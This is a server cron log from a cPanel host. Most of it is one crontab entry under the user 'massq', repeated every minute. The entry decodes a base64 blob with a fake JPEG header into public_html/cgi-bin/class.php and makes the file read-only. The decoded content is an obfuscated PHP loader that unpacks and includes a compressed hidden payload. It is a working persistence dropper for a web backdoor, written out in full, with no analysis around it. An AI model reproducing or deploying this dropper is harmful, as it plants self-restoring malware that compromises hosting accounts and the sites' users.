Nov 13 14:44:01 server CROND[21951]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 14:45:01 server CROND[22824]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 13 14:45:01 server CROND[22825]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 14:45:01 server CROND[22826]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 13 14:46:01 server CROND[23805]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 14:47:01 server CROND[24643]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 14:48:01 server CROND[25463]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 14:49:01 server CROND[26492]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 14:50:01 server CROND[27364]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 13 14:50:01 server CROND[27368]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 13 14:50:01 server CROND[27370]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov 13 14:50:01 server CROND[27369]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 13 14:50:01 server CROND[27373]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 14:51:01 server CROND[28154]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 14:52:01 server CROND[29104]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 14:53:01 server CROND[30008]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 14:54:01 server CROND[30822]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 14:55:01 server CROND[31868]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 13 14:55:01 server CROND[31869]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 14:55:01 server CROND[31870]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 13 14:56:01 server CROND[32765]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 14:57:01 server CROND[1271]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
